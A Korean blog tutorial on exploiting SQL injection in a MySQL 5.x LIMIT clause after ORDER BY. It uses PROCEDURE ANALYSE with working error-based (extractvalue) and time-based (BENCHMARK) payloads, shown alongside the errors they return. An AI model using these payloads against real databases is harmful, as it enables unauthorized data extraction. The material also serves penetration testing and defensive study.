뉴비에욤

[MySQL] SQL Injections in LIMIT 본문

SQL Injection

[MySQL] SQL Injections in LIMIT

초보에욤 2015. 8. 10. 18:00

mysql limit 함수에서 sql injection 공격 하기

 

 


셀 수 없을 정도로 많은 문서들이 SQL Injection(이하 SQLI) 공격 기법을 다루고 있다. 이 글은 굉장이 특이한 상황에서의 SQLI 기법을 다루고 있다. 특정 응용프로그램에서 SQLI를 테스트 할 때 간단한 인터넷 검색만으로 풀 수 없는 경우가 있었다. 바로 MySQL 5.x 버전에서 LIMIT 함수가 SQLI 공격 기법에 취약한 경우였다.

 

 


예제 쿼리

“SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT injection_point”

위 쿼리에서 중요한 점은 해당 쿼리에 “ORDER BY”가 사용되었다는 것이다. MySQL 에서는 “UNION” 전에 “ORDER BY”를 사용할 수 없다. 만약 “ORDER BY”가 사용되지 않았다면 그냥 “UNION”을 사용하여 쉽게 공격을 할 수 있다.

 

 

 

MySQL5 관련 문서에서는 “SELECT” 함수를 다음과 같이 설명하고 있다.

SELECT
    [ALL | DISTINCT | DISTINCTROW ]
      [HIGH_PRIORITY]
      [STRAIGHT_JOIN]
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
    select_expr [, select_expr ...]
    [FROM table_references
    [WHERE where_condition]
    [GROUP BY {col_name | expr | position}
      [ASC | DESC], ... [WITH ROLLUP]]
    [HAVING where_condition]
    [ORDER BY {col_name | expr | position}
      [ASC | DESC], ...]
    [LIMIT {[offset,] row_count | row_count OFFSET offset}]
    [PROCEDURE procedure_name(argument_list)]
    [INTO OUTFILE 'file_name' export_options
      | INTO DUMPFILE 'file_name'
      | INTO var_name [, var_name]]
    [FOR UPDATE | LOCK IN SHARE MODE]]


“LIMIT” 함수 이후에는 “PROCEDURE”, “INTO”를 사용할 수 있다. 만약 애플리케이션에서 시스템에 파일을 쓸 수 있는 권한을 가진 DB 계정을 사용하고 있지 않는 이상 “INTO”는 쓸 모 없는 부분이다. 그렇다면 결국 LIMIT 함수를 공격하기 위해서는 “PROCEDURE”를 사용해야 한다는 것을 알 수 있다. Mysql에서 기본적으로 사용이 가능한 프로시져는 “ANALYSE” 다.

 


mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1);

ERROR 1386 (HY000): Can't use ORDER clause with this procedure


“ANALYSE” 프로시져는 2개의 인자값을 가질 수 있다.

 

 


mysql> SELECT field FROM table where id > 0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1,1);

ERROR 1386 (HY000): Can't use ORDER clause with this procedure

 

문제를 해결할 수 있을 만한 것은 보이지 않는다(동일 오류 발생). ‘ANALYSE’ 인자들이 언제 실행되는지 알아보자.

 

 

 

mysql> SELECT field from table where id > 0 order by id LIMIT 1,1 procedure analyse((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);

ERROR 1108 (HY000): Incorrect parameters to procedure 'analyse’

 

sleep() 함수가 호출되지 않았다. 포기하지 않고 계속 시도한 결과 공격 벡터를 찾았다.

 


mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1’


Voila!! 위 쿼리는 기본적으로 “Error-Based SQL Injections”로 불려지는 기법을 사용하고 있다. 그러므로 공격 대상 애플리케이션이 db 엔진의 에러를 보여주고 있다는 것을 알 수 있다. 그러나 에러를 보여주고 있는 것은 일반적이지 않기 때문에 만약 애플리케이션에서 에러를 보여주지 않으면 어떻게 될까??

 

알아본 결과, 위 쿼리에서 사용된 “error-based sqli” 기법과, 또 다른 기법인 “TIme-Based SQL Injections”을 같이 사용할 수 있게 된다. 공격 예제 쿼리는 다음과 같다.

 

 


SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

 

실제 동작되는 쿼리이다. 흥미로운 점은 위 쿼리의 경우 “SLEEP” 함수가 동작하지 않아서 “BENCHMARK” 함수를 사용했다는 것이다.


 

Comments